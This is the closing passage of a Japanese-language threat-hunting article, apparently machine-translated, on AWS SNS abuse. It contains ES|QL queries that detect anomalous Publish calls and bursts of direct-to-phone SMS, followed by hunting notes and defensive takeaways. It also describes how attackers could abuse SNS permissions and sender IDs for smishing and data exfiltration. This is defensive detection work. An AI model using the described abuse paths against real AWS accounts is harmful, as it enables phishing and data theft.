ハンティングクエリはES|QLと、APIアクションが PublishであるSNSログにも焦点を当てています。これは、ユーザー ID タイプが引き受けたロールであり、ユーザー ID ARN が EC2 インスタンス ID である場合にのみトリガーされます。アカウントID、エンティティ、引き受けた役割、SNSトピック、および地域を集計すると、このアクティビティの期待に基づいてさらなる異常を特定するのに役立ちます。ユーザーエージェントを活用して、これらの呼び出しが通常とは異なるツールやソフトウェアによって行われていることも特定できます。

from logs-aws.cloudtrail-*
| where @timestamp > now() - 7 day
| WHERE
    event.dataset == "aws.cloudtrail" AND
    event.provider == "sns.amazonaws.com" AND
    event.action == "Publish"
    and aws.cloudtrail.user_identity.type == "AssumedRole"
| DISSECT aws.cloudtrail.request_parameters "{%{?message_key}=%{message}, %{?topic_key}=%{topic_arn}}"
| DISSECT aws.cloudtrail.user_identity.arn "%{?}:assumed-role/%{assumed_role_name}/%{entity}"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| WHERE STARTS_WITH(entity, "i-")
| STATS regional_topic_publish_count = COUNT(*) by cloud.account.id, entity, assumed_role_name, topic_arn, cloud.region, user_agent_name
| SORT regional_topic_publish_count ASC

狩猟ノート:

• ユーザーIDアクセスキー(aws.cloudtrail.user_identity.access_key_id)の場合CloudTrail 監査ログに存在する場合、このリクエストは CLI またはプログラムによって実行されました。これらのキーは侵害される可能性があり、さらなる調査が必要です。
• TerraformやPulumiなどに気付いた場合、それはテスト環境、メンテナンスなどに関連している可能性があります。
• AWS 以外の Python SDK は、カスタムツールまたはスクリプトが利用されていることを示している可能性があります。

SNSダイレクト・トゥ・フォン・メッセージングの急増

ハンティング クエリ ソース
マイターATC: T1660

敵対者がフィッシング (スミッシング) キャンペーンを行っている SNS の仮想侵害に対するハンティングの取り組みは、AWS SNS の Publish API アクションに焦点を当てています。具体的には、リクエストパラメータに phoneNumber が存在するインスタンスを追跡し、メッセージが SNS トピックを経由せずに電話番号に直接送信されていることを通知します。

特に、攻撃者は、事前に登録された番号を持つSNSトピックに依存するのではなく、組織の本番環境のEndpoint Messaging権限を悪用し、以下を活用します。

• 承認されたオリジネーションID(組織が登録している場合)。
• 送信者 ID (敵対者が ID を制御している場合、または信頼できる識別子をスプーフィングできる場合)。
• AWS ロングコードまたはショートコード (動的に割り当てることができます)。

AWS SNSはログをサニタイズするため、CloudTrailでは電話番号は表示されませんが、CloudWatchやサードパーティの監視ツールでより深く分析すると役立つ場合があります。

ハンティング クエリ (ES|QL)

このクエリは、侵害された AWS アカウントからのスミッシングキャンペーンを示している可能性がある、ダイレクト SNS メッセージの急増を検出します。

from logs-aws.cloudtrail-*
| WHERE @timestamp > now() - 7 day
| EVAL target_time_window = DATE_TRUNC(10 seconds, @timestamp)
| WHERE
    event.dataset == "aws.cloudtrail" AND
    event.provider == "sns.amazonaws.com" AND
    event.action == "Publish" AND
    event.outcome == "success" AND
    aws.cloudtrail.request_parameters LIKE "*phoneNumber*"
| DISSECT user_agent.original "%{user_agent_name} %{?user_agent_remainder}"
| STATS sms_message_count = COUNT(*) by target_time_window, cloud.account.id, aws.cloudtrail.user_identity.arn, cloud.region, source.address, user_agent_name
| WHERE sms_message_count > 30

狩猟ノート:

• AWSはログから電話番号を削除するため、CloudWatchログによるより詳細な分析が必要になる場合があります。
• CloudWatch で調査している間、メッセージコンテキストもサニタイズされます。テキストメッセージに埋め込まれている疑わしいURLリンクがないか、メッセージを調査するのが理想的です。
• また、AWS SNS 配信ログ (有効な場合) でメッセージメタデータを確認することもできます。
• メッセージがトピックベースのサブスクリプションを使用していない場合は、直接ターゲット設定が提案されます。
• これらのリクエストのソースは重要であり、EC2インスタンスからそれらに気付いた場合、それはかなり奇妙であるか、Lambdaが予想されるサーバーレスコードである可能性があります。

テイクアウト

AWS SNS Abuse: Data Exfiltration and Phishing(AWS SNSの不正使用:データ流出とフィッシング)に関するこの資料をお読みいただき、ありがとうございます。この調査が、敵対者がAWS SNSを活用してデータ流出、スミッシング、フィッシングキャンペーンを行う方法、およびこれらの脅威に対抗するための実用的な検出およびハンティング戦略について、貴重な洞察を提供することを願っています。

この記事のポイント：

• AWS SNSは強力なサービスですが、フィッシング(スミッシング)やデータ流出など、悪意のある目的に悪用される可能性があります。
• 敵対者は、事前に承認された送信者 ID、発信元 ID、またはロング/ショートコードを使用して、本番環境の SNS 権限を悪用し、組織外にメッセージを送信する可能性があります。
• 脅威アクターは、IAMポリシーの設定ミス、CloudTrailのロギングギャップ、SNS APIの制限を武器にして、レーダーをかいくぐる可能性があります。
• SNSの野放し(ItW)の悪用はあまり報告されていませんが、その兵器化と標的型搾取はすでに発生しているか、いずれ出現すると確信しています。
• AWS CloudTrail は電話番号やメッセージを SNS ログにキャプチャしないため、より深い分析を行うには CloudWatch のサードパーティによる監視が不可欠です
• 脅威ハンティング クエリは、ダイレクト メッセージの作成、購読、または受信中の SNS トピックを検出し、潜在的な不正使用を示すのに役立ちます。
• 検出戦略には、SNS API アクションの監視、異常な SNS メッセージの急増の特定、EC2 または Lambda ソースからの異常のフラグ付けが含まれます。
• 防御策には、IAMポリシーの強化、CloudTrailとSNSのロギング、異常ベースの検出、およびAWSが推奨するセキュリティのベストプラクティスが含まれ、攻撃対象領域を減らす必要があります。

AWS SNSはセキュリティに関する議論では見過ごされがちですが、この調査が示すように、監視しないままにしておくと、敵対者にとって実行可能な攻撃ベクトルとなります。防御者には、これらのリスクを軽減し、セキュリティ体制を強化するために、プロアクティブに取り組み、検出ロジックを改良し、堅牢なセキュリティ制御を実装することをお勧めします。

読んでくれてありがとう、そして楽しい狩猟!

参照資料

• https://www.sentinelone.com/labs/sns-sender-active-campaigns-unleash-messaging-spam-through-the-cloud/
• https://permiso.io/blog/s/smishing-attack-on-aws-sms-new-phone-who-dis/
• https://catalog.workshops.aws/build-sms-program/en-US